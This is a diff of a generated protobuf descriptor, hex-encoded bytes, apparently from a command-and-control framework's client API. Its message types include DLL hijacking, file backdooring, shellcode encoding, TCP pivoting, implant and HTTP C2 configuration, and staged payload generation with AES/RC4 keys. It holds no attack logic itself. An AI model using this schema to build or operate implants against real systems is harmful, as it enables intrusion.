0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, + 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, + 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, + 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, + 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, + 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, + 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, 0x65, + 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, 0x70, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, 0x70, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, + 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, + 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, 0x0b, + 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x41, + 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x64, + 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, - 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x8c, 0x01, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, - 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, - 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, + 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x18, + 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, - 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, - 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, - 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, - 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, - 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, - 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, - 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, - 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, - 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, - 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x7c, 0x0a, 0x13, 0x45, 0x78, 0x74, - 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, - 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, - 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, - 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, - 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, - 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, - 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, - 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, - 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, - 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, - 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x41, 0x0a, 0x0d, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, - 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x43, 0x32, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x63, 0x0a, 0x0f, - 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x12, - 0x1c, 0x0a, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72, 0x69, 0x74, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72, 0x69, 0x74, 0x65, 0x12, 0x32, 0x0a, - 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, - 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x22, 0xd3, 0x01, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, - 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x07, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, + 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, + 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, + 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x43, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0xbc, 0x01, 0x0a, 0x12, 0x48, 0x54, 0x54, 0x50, - 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x32, - 0x0a, 0x14, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x14, 0x52, 0x61, - 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, - 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x18, - 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x52, 0x07, 0x43, - 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x22, 0xf8, 0x05, 0x0a, 0x13, 0x48, 0x54, 0x54, 0x50, 0x43, - 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, - 0x0a, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x12, 0x2c, 0x0a, 0x11, + 0x22, 0x52, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, + 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x8c, 0x02, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x41, 0x45, 0x53, 0x45, 0x6e, + 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, + 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49, 0x76, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49, + 0x76, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, + 0x65, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63, + 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x65, 0x70, 0x65, + 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x50, 0x72, + 0x65, 0x70, 0x65, 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, + 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x43, 0x6f, + 0x6d, 0x70, 0x72, 